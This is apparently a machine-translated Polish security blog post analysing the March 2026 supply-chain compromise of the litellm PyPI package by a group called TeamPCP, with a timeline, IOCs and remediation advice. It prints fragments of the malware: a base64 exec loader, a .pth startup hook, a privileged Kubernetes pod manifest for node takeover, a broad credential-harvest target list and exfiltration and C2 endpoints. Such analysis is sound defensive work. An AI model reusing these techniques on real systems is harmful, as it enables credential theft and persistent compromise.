Dlaczego Matters to
24 marca 2026 r. popularny pakiet Pythona litellm, uniwersalna brama proxy LLM używana przez tysiące enterpriseSłużący do kierowania ruchem między aplikacjami a dostawcami sztucznej inteligencji, takimi jak OpenAI, Anthropic, Google i AWS Bedrock, został po cichu skompromitowany na platformie PyPI. Dwie zatrute wersje (1.82.7 i 1.82.8) zostały opublikowane w odstępie 13 minut i zawierały wieloetapowy ładunek, który kradł dane uwierzytelniające, wykradał poufne dane w chmurze, rozprzestrzeniał się bocznie w klastrach Kubernetes i instalował trwałe tylne drzwi z możliwością zdalnego wykonywania kodu.
Z około 3.6 milionów codziennych pobrań i głębokiego wdrożenia w całej infrastrukturze AI opartej na chmurze, litellm znajduje się na skrzyżowaniu wszystkiego, czego pragną współcześni atakujący: kluczy API do wszystkich głównych dostawców AI, danych uwierzytelniających IAM w chmurze, sekretów Kubernetes i kluczy SSH.
Ale kompromis w sprawie litellm nie był odosobnionym wydarzeniem. Był kulminacją pięciodniowa kampania obejmująca pięć ekosystemów przez aktora zagrożenia znanego jako Zespół PCP, kampania, która najpierw zatruła skanery bezpieczeństwa (Aqua Trivy, Checkmarx KICS), a następnie wykorzystała skradzione CI/CD Dane uwierzytelniające mają być przekazywane kaskadowo do npm, OpenVSX i wreszcie PyPI. Atakujący wykorzystali w tym celu narzędzia, na których organizacje polegają w ochronie swoich łańcuchów dostaw.
Ten atak stanowi radykalną zmianę w wyrafinowaniu zagrożeń w łańcuchu dostaw. Wielostopniowa, międzyekosystemowa konstrukcja i kompromitujące narzędzia bezpieczeństwa pozwalają na osiągnięcie wysokiej wartości. Infrastruktura AI, odzwierciedla poziom planowania i dojrzałości operacyjnej zgodny z coraz bardziej komodytyzowalnymi narzędziami do ataków. Ładunki były iterowane w czasie rzeczywistym (trzy warianty ładunku pojawiają się w kodzie źródłowym, w tym zakomentowane wcześniejsze wersje), infrastruktura C2 została zarejestrowana dzień przed atakiem, a domeny eksfiltracji zostały starannie dobrane, aby naśladować infrastrukturę legalnego dostawcy. Systematycznie kompleksowy program do zbierania danych uwierzytelniających, obejmujący ponad 15 kategorii, w tym niszowe cele, takie jak klucze podpisu Cardano i konfiguracje WireGuard, sugeruje stopień dokładności, który wskazuje na wspomagane sztuczną inteligencją tworzenie złośliwego oprogramowania jako czynnik zwielokrotniający.
Oś czasu
| Data (UTC) | wydarzenie |
|---|---|
| marcu 19 roku | TeamPCP narusza tagi akcji Aqua Trivy GitHub, zastępując je złośliwym kodem, który je wykrada CI/CD sekrety z repozytoriów downstream |
| marcu 21 roku | Kompromis dotyczy również Checkmarx KICS i AST GitHub Actions wykorzystujących podobne techniki |
| 22 marca, 06:35 | BerriAI publikuje litellm 1.82.6 (ostatnia czysta wersja) w trybie normalnym CI/CD pipeline który używa Trivy do skanowania bezpieczeństwa |
| marcu 23 roku | TeamPCP rejestruje models.litellm.cloud (domena eksfiltracji). Powoduje to naruszenie bezpieczeństwa ponad 66 pakietów npm i rozszerzeń OpenVSX. |
| 24 marca, 10:39 | litellm 1.82.7 opublikowano w PyPI — ładunek wstrzyknięty do proxy_server.py w zakresie modułu. Wykonuje się podczas importu |
| 24 marca, 10:52 | litellm 1.82.8 opublikowano 13 minut później -- dodaje litellm_init.pth, hak konfiguracji ścieżki Pythona, który jest wykonywany przy każdym uruchomieniu interpretera Pythona, a nie tylko przy importach Litellm. Pokazuje szybką iterację ładunku. |
| 24 marca, ~16:00 | PyPI usuwa obie wersje po zgłoszeniach społeczności. Wersje są całkowicie usuwane (a nie usuwane) z indeksu, choć pliki tarball CDN pozostają dostępne. |
Okno ekspozycji: około 5.5 godziny. W tym czasie każdy pip install litellm, pip install --upgrade litellm, Lub CI/CD pipeline pobranie najnowszej wersji spowodowałoby wykonanie ładunku.
Jak złośliwe oprogramowanie dostało się do systemu: kaskadowe zagrożenie
Pakiet litellm nie został bezpośrednio naruszony. Atakujący uzyskał do niego dostęp poprzez atak na dwuskokowy łańcuch dostaw:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline wykorzystał Trivy jako skaner bezpieczeństwa — narzędzie zaprojektowane do wykrywania luk w zabezpieczeniach samo w sobie było wektorem ataku. Ponieważ pipeline odwoływał się do Trivy za pomocą zmiennej etykiety, a nie przypiętej commit SHA, zainfekowana akcja uruchomiła się automatycznie. Złośliwa akcja Trivy wykradła sekrety środowiska, w tym PYPI_PUBLISH token dający TeamPCP bezpośredni dostęp do publikacji w projekcie litellm PyPI.
Strategia „skompromitowania strażników” jest znakiem rozpoznawczym kampanii TeamPCP. Atakując najpierw narzędzia bezpieczeństwa (Trivy, Checkmarx KICS), atakujący jednocześnie wyłączyli wykrywanie i uzyskali uprzywilejowany dostęp do dalszych łańcuchów dostaw.
Analiza techniczna: Ładunek
Punkty wtrysku
Wersja 1.82.7 — Wykonywanie na poziomie modułu w litellm/proxy/proxy_server.py (linia 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Ten kod znajduje się w zakresie modułu pomiędzy literałem słownika a oryginałem showwarning() Funkcja. Wykonuje się natychmiast, gdy litellm.proxy.proxy_server jest importowany — co ma miejsce przy każdym użyciu funkcjonalności proxy litellm.
Wersja 1.82.8 - Dodany litellm_init.pth (Plik konfiguracyjny ścieżki Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Python .pth plików w site-packages/ są przetwarzane przy każdym uruchomieniu interpretera, ale tylko wiersze zaczynające się od import są wykonywane jako kod. Atakujący wykorzystuje to, łącząc cały ładunek w jeden import komunikat: import os, subprocess, sys; subprocess.Popen(...)To jest o wiele bardziej agresywne niż wstrzykiwanie proxy_server.py — uruchamia się nawet wtedy, gdy litellm nie zostanie zaimportowany, przy każdym uruchomieniu procesu Pythona. pyproject.toml został zmodyfikowany w celu uwzględnienia tego pliku w dystrybucji:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Wersja 1.82.8 ma zatem dwie niezależne ścieżki wykonania: wstrzyknięcie proxy_server.py (aktywowane przy imporcie proxy litellm) i plik .pth (aktywowane przy każdym uruchomieniu Pythona). Ta redundancja jest godna uwagi — zabezpiecza przed wykryciem lub usunięciem którejkolwiek ze ścieżek z osobna. Eskalacja od momentu importu do wykonania w momencie uruchomienia zaledwie 13 minut po wersji 1.82.7 sugeruje, że atakujący monitorował powodzenie wdrożenia i szybko iterował.
Etap 1: Kompleksowe zbieranie danych uwierzytelniających
Zdekodowany wewnętrzny skrypt to skrupulatnie odszyfrowana próżnia uwierzytelniająca. Używa os.walk(), glob.glob(), subprocess.check_output()i bezpośrednie odczytywanie plików w celu przeszukania całego systemu:
| Kategoria | Targets |
|---|---|
| Rekonesans systemu | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; klucze hosta z /etc/ssh/ |
| Chmura (AWS) | ~/.aws/credentials, ~/.aws/config; Poświadczenia roli IMDS za pośrednictwem 169.254.169.254; Menedżer sekretów ListSecrets; SSM DescribeParameters |
| Chmura (GCP) | ~/.config/gcloud/ (rekurencyjny); $GOOGLE_APPLICATION_CREDENTIALS |
| Chmura (Azure) | ~/.azure/ (rekurencyjne); zmienne środowiskowe |
| Kubernetes | Tokeny kont usługowych; ca.crt; przestrzeń nazw; kubectl get secrets --all-namespaces; wszystkie sekrety za pośrednictwem API K8s |
| Pliki środowiskowe | .env, .env.local, .env.production, .env.development, .env.staging — przeszukiwane rekurencyjnie (głębokość 6) /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Doker | ~/.docker/config.json, /kaniko/.docker/config.json |
| Tokeny pakietów | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Bazy danych | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.conf, Konfiguracje MongoDB |
| TLS / SSL | Klucze prywatne z /etc/ssl/private/, Certyfikaty Let's Encrypt, wszystkie .pem/.key/.p12/.pfx pliki |
| git | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Portfele kryptograficzne | Bitcoin, magazyn kluczy Ethereum, pary kluczy Solana (walidator, głosowanie, stawka, kran), klucze podpisu Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Historia powłoki | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Autoryzacja systemu | /etc/passwd, /etc/shadow, logi uwierzytelniania (zaakceptowane sesje SSH) |
| Klucze webhook/API | Grep dla sieci Slackhooks, Sieć DiscordhooksKlucze/tajemnice API w plikach konfiguracyjnych |
| VPN | Konfiguracje WireGuard z /etc/wireguard/ |
Zakres tego harvestera jest encyklopedyczny. Obejmuje on nie tylko dane uwierzytelniające do chmury, ale także portfele kryptowalut, hasła do baz danych, konfiguracje VPN i… CI/CD sekrety — sugerujące, że atakujący zamierza monetyzować naruszone systemy za pomocą wielu wektorów.
Etap 2: Szyfrowana eksfiltracja
Skradzione dane są szyfrowane i eksfiltrowane przy użyciu hybrydowej metody szyfrowania:
- AES-256-CBC szyfrowanie wszystkich zebranych danych losowym 32-bajtowym kluczem sesji (za pośrednictwem
openssl enc) - RSA-4096 szyfrowanie klucza sesji przy użyciu osadzonego klucza publicznego atakującego (uzupełnienie OAEP, poprzez
openssl pkeyutl) - Oba pliki szyfrogramu są dołączone jako
tpcp.tar.gz(tpcpprefiks — „TeamPCP” — pojawia się konsekwentnie w całej kampanii) - HTTPS POST do
https://models.litellm.cloud/wContent-Type: application/octet-stream
Domena models.litellm.cloud został zarejestrowany 23 marca — dzień przed atakiem — i jest zaprojektowany tak, aby wtopić się w legalną infrastrukturę litllm (prawdziwy projekt wykorzystuje litellm.ai). Nawet obrońca świadomy sieci i sprawdzający ruch wychodzący może nie oznaczyć ruchu do punktu końcowego modelu litellm.
Etap 3: Trwały backdoor (sysmon.py)
Ładunek instaluje tylne drzwi do sondowania ukryte pod postacią danych telemetrycznych systemu:
- ścieżka:
~/.config/sysmon/sysmon.py - Usługi:
sysmon.service(jednostka użytkownika systemd, opisana jako „Usługa telemetrii systemowej”) - Zachowanie:Po początkowym 300-sekundowym śnie ankiety
https://checkmarx.zone/rawco ~50 minut - Egzekucja:Pobiera adres URL zwrócony przez C2 do
/tmp/pglog, ustawia go jako wykonywalny (chmod 755), uruchamia go w odłączonej sesji - Śledzenie stanu:
/tmp/.pg_statezapobiega ponownemu pobraniu tego samego ładunku - Uporczywość:
Restart=always,RestartSec=10— przetrwa awarie i restarty
Domena checkmarx.zone jest literówką Checkmarx (firmy ochroniarskiej w checkmarx.com), zaprojektowane tak, aby analitycy SOC przeglądający logi sieciowe widzieli ruch kierowany do pozornie legalnego dostawcy zabezpieczeń. Jest to celowa technika unikania, zgodna z szerszą strategią TeamPCP polegającą na ukrywaniu się za marką dostawcy zabezpieczeń.
Etap 3b: Ruch boczny Kubernetes
Jeśli zainfekowany system ma dane uwierzytelniające konta usługi Kubernetes, złośliwe oprogramowanie wylicza wszystkie węzły klastra i wdraża uprzywilejowane strąki do każdego:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Każdy strąk:
- Działa jako uprzywilejowany w
hostPID,hostNetworki pełny dostęp do systemu plików hosta - Używa
chroot /hostzainstalować to samosysmon.pytylne drzwi w systemie plików głównych hosta - Rejestruje go jako usługę systemd, zapewniając trwałość po usunięciu podu
- O imieniu
node-setup-*kube-systemprzestrzeń nazw, która ma być wyświetlana jako legalna infrastruktura klastra
Oznacza to pojedynczy zagrożony CI/CD biegacz z dostępem do K8s może spowodować, że każdy węzeł w klastrze zostanie zaatakowany tylnymi drzwiami — katastrofalny scenariusz ruchu bocznego dla organizacji korzystających z litellm jako serwera proxy w Kubernetes.
Ewolucja ładunku (warianty z komentarzem)
Kod źródłowy w wierszach 131–132 zawiera dwie zakomentowane, wcześniejsze wersje kodu, ujawniające proces rozwojowy atakującego:
- Wszystkie trzy warianty korzystają z tej samej infrastruktury eksfiltracyjnej (
models.litellm.cloud), klucz publiczny RSA-4096, hybrydowe opakowanie szyfrujące AES-256-CBC + RSA itpcp.tar.gznazewnictwo pakietów - Wcześniejsze warianty dodał Warstwa szyfrowania RC4 Wewnątrz skryptu gromadzenia danych, szyfrując zebrane dane przed zewnętrznym opakowaniem AES+RSA. Aktywny ładunek (linia 130) został uproszczony poprzez usunięcie tej wewnętrznej warstwy RC4.
- Wcześniejsze warianty wykorzystują
exec()wStringIOprzechwytywanie w celu uruchomienia kolektora w trakcie, podczas gdy aktywny ładunek używasubprocess.run()z przekierowaniem stdout — czystsze rozdzielenie, które nie zanieczyszcza procesu hosta - Wszystkie trzy warianty obejmują te same kategorie poświadczeń i ścieżki gromadzenia
- Klucz RC4 we wcześniejszych wersjach był prowokacyjnym obelgiem, zgodnym z zachowaniem aktora mającym na celu zwrócenie na siebie uwagi na Telegramie
Świadczy to o aktywnym rozwoju w trakcie operacji. Atakujący uprościł stos szyfrowania i poprawił izolację wykonania, jednocześnie utrzymując stabilność celów gromadzenia danych i infrastruktury eksfiltracji.
Wskaźniki zagrożenia (IOC)
Sieć
| Wskaźnik | Typ | Cel |
|---|---|---|
models.litellm.cloud | Domena | Punkt końcowy eksfiltracji (HTTPS POST) |
checkmarx.zone | Domena | Punkt końcowy sondowania C2 (HTTPS GET /raw) |
Uwaga: Linki do raportów zewnętrznych checkmarx.zone/static/checkmarx-util-1.0.4.tgz do wcześniejszej fazy KICS kampanii TeamPCP. Ten adres URL nie został znaleziony w analizowanych tutaj ładunkach litellm.
Hashe pakietów
| filet | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
System plików
| Wskaźnik | Typ | Cel |
|---|---|---|
~/.config/sysmon/sysmon.py | filet | Uporczywy skrypt tylnych drzwi |
~/.config/systemd/user/sysmon.service | filet | Jednostka trwałości Systemd |
/tmp/pglog | filet | Pobrano plik binarny drugiego etapu |
/tmp/.pg_state | filet | Śledzenie stanu C2 |
litellm_init.pth in site-packages/ | filet | Hak startowy Pythona (tylko w wersji 1.82.8) |
tpcp.tar.gz | filet | Zaszyfrowany pakiet eksfiltracyjny |
Kubernetes
| Wskaźnik | Typ | Cel |
|---|---|---|
node-setup-* strąki w kube-system | Strąk | Uprzywilejowane kapsuły ruchu bocznego |
sysmon.service na węzłach klastra | Usługi | Trwałość na poziomie hosta poprzez ucieczkę z kontenera |
Kryptograficzne
| Wskaźnik | Szczegóły |
|---|---|
| Klucz publiczny RSA-4096 atakującego | Odcisk palca SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8. Wbudowany we wszystkich trzech wariantach ładunku; ten sam klucz zgłaszany w innych operacjach TeamPCP |
tpcp prefiks w artefaktach | Konwencja nazewnictwa pakietów (tpcp.tar.gz) spójne w całej kampanii |
Atrybucja: TeamPCP
Aktora odpowiedzialnego za tę kampanię śledzi się jako Zespół PCP, znany również jako PCPcat, Persy_PCP, ShellForce i DeadCatx3.
Znane cechy:
- Utrzymuje kanały Telegramu w
@Persy_PCPoraz@teampcpgdzie drwili z firm ochroniarskich - Działa w wielu ekosystemach (GitHub Actions, PyPI, npm, OpenVSX)
- Używa domen typosquat specyficznych dla danego dostawcy w każdej fazie kampanii (np.
checkmarx.zonedla Checkmarx,models.litellm.clouddla litellm) - Spójne znaczniki infrastruktury: ta sama para kluczy RSA,
tpcp.tar.gzkonwencja nazewnictwa,tpcp-docs-*Repozytoria GitHub używane jako miejsce przechowywania danych - Celuje w narzędzia bezpieczeństwa jako punkty wejścia do dalszych łańcuchów dostaw
Pewność atrybucji:Wysoki. Współdzielony klucz publiczny RSA, tpcp nazewnictwo artefaktów, nakładanie się infrastruktury C2 i tempo operacyjne w ciągu pięciodniowej kampanii silnie wiążą kompromisy Trivy, KICS, npm, OpenVSX i litellm z tym samym aktorem.
Motywacja:Prawdopodobnie finansowe (kradzież portfeli kryptowalutowych, monetyzacja danych uwierzytelniających w chmurze) w połączeniu z rozgłosem (drwiny w Telegramie). Szeroki zakres gromadzenia danych uwierzytelniających – od AWS IAM, przez pary kluczy walidatorów Solana, po konfiguracje WireGuard – sugeruje, że podmiot kieruje się motywacją finansową i dąży do maksymalizacji zwrotu z inwestycji (ROI) z każdego naruszenia.
Możliwa pomoc AINarzędzie do zbierania poświadczeń jest systematycznie kompleksowe – obejmuje ponad 15 kategorii, w tym niszowe cele, takie jak klucze podpisu Cardano, konfiguracje WireGuard i poświadczenia Kaniko Docker – w sposób zgodny z enumeracją wspomaganą przez sztuczną inteligencję. Szybkość iteracji ładunku (trzy warianty z różnymi schematami szyfrowania), koordynacja między ekosystemami (5 ekosystemów w ciągu 5 dni) oraz operacyjne zabezpieczenia operacyjne (OPSEC) (domeny podszywające się pod dostawców, szyfrowanie hybrydowe, trwałość systemd podszywająca się pod telemetrię) sugerują poziom przepustowości, który może odzwierciedlać rozwój wspomagany przez sztuczną inteligencję jako czynnik mnożnikowy. Ta ocena ma charakter spekulacyjny; doświadczeni operatorzy mogliby osiągnąć podobny zakres bez narzędzi sztucznej inteligencji.
Nowe TTP i techniki
1. Zatrucie łańcucha dostaw narzędzi bezpieczeństwa (wariant T1195.002)
Złamanie zabezpieczeń skanerów (Trivy, KICS) jako pierwszego kroku dotarcia do celów podrzędnych to nowa eskalacja. Atakujący nie tylko zhakował bibliotekę, ale także narzędzia używane przez organizacje do… wykryć zainfekowane biblioteki. To tworzy martwy punkt: skaner, który powinien wykryć złośliwy kod, sam jest mechanizmem jego dostarczania.
2. Python .pth Trwałość pliku (T1546)
litellm_init.pth Technika w wersji 1.82.8 jest szczególnie podstępna. Python .pth plików w site-packages/ są przetwarzane przy każdym uruchomieniu interpretera; każda linia zaczynająca się od import jest wykonywany jako kod. Poprzez połączenie ładunku z jednym import W tym stwierdzeniu atakujący osiąga wykonanie w każdym procesie Pythona — nie tylko wtedy, gdy importowany jest litellm. Oznacza to, że ładunek jest uruchamiany nawet wtedy, gdy litellm jest zainstalowany, ale nigdy nie jest używany, i przetrwa proces naprawczy, który zastępuje zainfekowany .py pliki bez sprawdzania .pth akta.
3. Przemieszczanie poziome w całym klastrze Kubernetes za pośrednictwem wdrożenia uprzywilejowanych podów (T1610, T1611)
Automatyczne tworzenie uprzywilejowanych kontenerów na każdym węźle klastra — z hostPID, hostNetwork, montowanie systemu plików hosta i chroot aby zainstalować trwałość — łańcuchy wdrażania kontenera (T1610) z ucieczką do hosta (T1611) w celu przekształcenia pojedynczego naruszone obciążenie w pełne naruszone klaster.
4. Infrastruktura C2 podszywająca się pod dostawcę
Korzystanie z models.litellm.cloud (naśladuje litellm) i checkmarx.zone (naśladuje Checkmarx), ponieważ punkty końcowe C2/exfil zostały zaprojektowane tak, aby uniknąć monitorowania sieci. Analitycy SOC analizujący ruch wychodzący zauważyliby połączenia HTTPS z domenami, które wydają się legalnymi domenami dostawców.
5. Szybka iteracja ładunku w locie
Opublikowanie wersji 1.82.7 z wykonaniem w czasie importu, a następnie wersji 1.82.8 z wykonaniem w czasie uruchomienia 13 minut później, pokazuje, że atakujący monitoruje sytuację i dostosowuje się do niej w czasie rzeczywistym. Zakomentowane warianty danych (z różnymi schematami szyfrowania) zachowane w kodzie źródłowym potwierdzają aktywny rozwój w trakcie operacji.
Co można zrobić
Ten atak wykorzystuje zaufanie na każdej warstwie: zaufanie do narzędzi bezpieczeństwa, zaufanie do rejestrów pakietów, zaufanie do domen o znajomym wyglądzie, zaufanie do CI/CD automatyzacja. Obrona przed nią wymaga wzmocnienia każdej z tych granic zaufania:
Dla konsumentów pakietowych
- Przypinaj zależności za pomocą hasha, a nie tylko wersji.
pip install litellm==1.82.6 --hash=sha256:...zapobiegłoby instalacji zagrożonych wersji, nawet jeśli na krótko pojawiłyby się jako najnowsza wersja. - Użyj plików blokujących.
pip-compile,poetry.lock,uv.lockprzechwytywanie dokładnych wersji i skrótów. CI/CD należy instalować z plików blokujących, a nie ze zmiennych specyfikujących wersję. - Monitoruj
.pthakta. Regularny audytsite-packages/dla nieoczekiwanego.pthpliki — są wykonywane przy każdym uruchomieniu Pythona i stanowią niedoceniany mechanizm trwałości. - Wdrożenie kontroli sieci wyjściowej. Eksfiltracja do
models.litellm.cloudi sondowanie C2 docheckmarx.zonemogły zostać wykryte przez filtrowanie ruchu wychodzącego na podstawie listy dozwolonych w środowiskach produkcyjnych.
Dla osób zarządzających pakietami
- Pin CI/CD działania przez commit SHA, nie tag. LiteLLM pipeline używał Trivy bez przypiętej wersji. Gdyby odwoływał się do
aquasecurity/trivy-action@<commit-sha>zamiast@latest, zagrożona akcja nie zostałaby wykonana. - Użyj krótkotrwałych tokenów publikacji o określonym zakresie. PyPI obsługuje zaufanych wydawców (opartych na OIDC) i zakresowe tokeny API.
PYPI_PUBLISHtoken nie powinien mieć długotrwałego, nieograniczonego dostępu do publikacji. - Włącz uwierzytelnianie dwuskładnikowe w PyPI. Wymagaj uwierzytelniania dwuskładnikowego (2FA) dla wszystkich administratorów i w miarę możliwości korzystaj ze sprzętowych kluczy bezpieczeństwa.
- Podpisuj paczki. Atesty Sigstore/PEP 740 pozwalają konsumentom sprawdzić, czy opakowanie zostało wykonane zgodnie z oczekiwaniami CI/CD pipeline, a nie przez atakującego posługującego się skradzionym tokenem.
Dla operatorów platform (PyPI, npm, GitHub)
- Wykrywaj nietypowe wzorce publikacji. Opublikowanie dwóch nowych wersji w odstępie 13 minut z innego adresu IP lub tokena niż zwykle powinno spowodować uruchomienie procedury wstrzymania do recenzji lub automatycznego skanowania, zanim pakiet będzie mógł zostać zainstalowany.
- Przyspieszenie wdrażania Zaufanych Wydawców. Publikowanie oparte na OIDC wiąże pakiety z określonymi repozytoriami i przepływami pracy, dzięki czemu skradzione tokeny stają się bezużyteczne poza oryginalnym systemem CI/CD kontekst.
- Wdrożenie skanowania w poszukiwaniu złośliwego oprogramowania w czasie publikacji. Treść zdekodowana algorytmem Base64 w pliku proxy_server.py będzie możliwa do wykrycia metodą analizy statycznej w momencie publikacji.
Dla ekosystemu
- Traktuj narzędzia bezpieczeństwa jako krytyczną infrastrukturę. Trivy i Checkmarx KICS są używane przez miliony pipelines. Ich działania w GitHubie powinny być podpisane, przypięte i monitorowane z taką samą dokładnością jak skanowane przez nich pakiety.
- Zainwestuj w wykrywanie środowiska wykonawczego. Sama analiza statyczna nie jest w stanie wykryć wszystkich technik zaciemniania. Monitorowanie instalacji pakietów w czasie wykonywania hooks, nieoczekiwane połączenia sieciowe i podejrzane wzorce dostępu do plików zapewniają głęboką obronę.
- Szybciej udostępniaj informacje o zagrożeniach. 5.5-godzinne okno ekspozycji dla litellm mogłoby być krótsze dzięki szybszej koordynacji między dostawcami. Zautomatyzowane usługi skanowania, takie jak Xygeni MEW, Socket i Snyk, wykryły anomalię — wąskim gardłem jest czas potwierdzenia przez człowieka i reakcji rejestru.
Wniosek
Kampania TeamPCP to przełomowy moment dla software supply chain securityNajpierw naruszając bezpieczeństwo skanerów i wykorzystując je jako kamienie milowe do stworzenia infrastruktury AI o wysokiej wartości, atakujący pokazali, że łańcuch dostaw jest tak silny, jak jego najsłabsza zależność przechodnia, a ta zależność może być narzędziem bezpieczeństwa, któremu ufasz i które zapewni ci bezpieczeństwo.
Kompromis w litellm szczególnie uwypukla rosnące ryzyko dla infrastruktury AI. W miarę jak bramy proxy LLM stają się standard wzór dla enterprise Wdrażając sztuczną inteligencję, koncentrują dostęp do kluczy API, danych uwierzytelniających w chmurze i poufnych danych w jednym komponencie. Złamanie zabezpieczeń tego komponentu to klucz do całego stosu sztucznej inteligencji.
Organizacje, które zainstalowały wersję litellm 1.82.7 lub 1.82.8 w ciągu 5.5 godziny, powinny traktować to jako pełne naruszenie poświadczeń: należy wymienić wszystkie sekrety w zagrożonych systemach, przeprowadzić audyt klastrów Kubernetes w celu node-setup-* strąki w kube-system, usuń wszelkie sysmon.service jednostki systemd i sprawdź litellm_init.pth w Pythonie site-packages/ katalogi. Użytkownicy oficjalnego obrazu Docker (ghcr.io/berriai/litellm) nie uległy zmianie, ponieważ obraz przypiął swoje zależności i nie został przebudowany w oknie ekspozycji.
O autorze
Współzałożyciel i CTO
Luis Rodriguez jest współzałożycielem i dyrektorem technicznym w Xygeni Security. Z ponad 20-letnim doświadczeniem w dziedzinie bezpieczeństwa aplikacji, koncentruje się na ochronie AppSec i zaawansowanych możliwościach analizy kodu, które pomagają zespołom ograniczać rzeczywiste ryzyko związane z dostarczaniem oprogramowania.




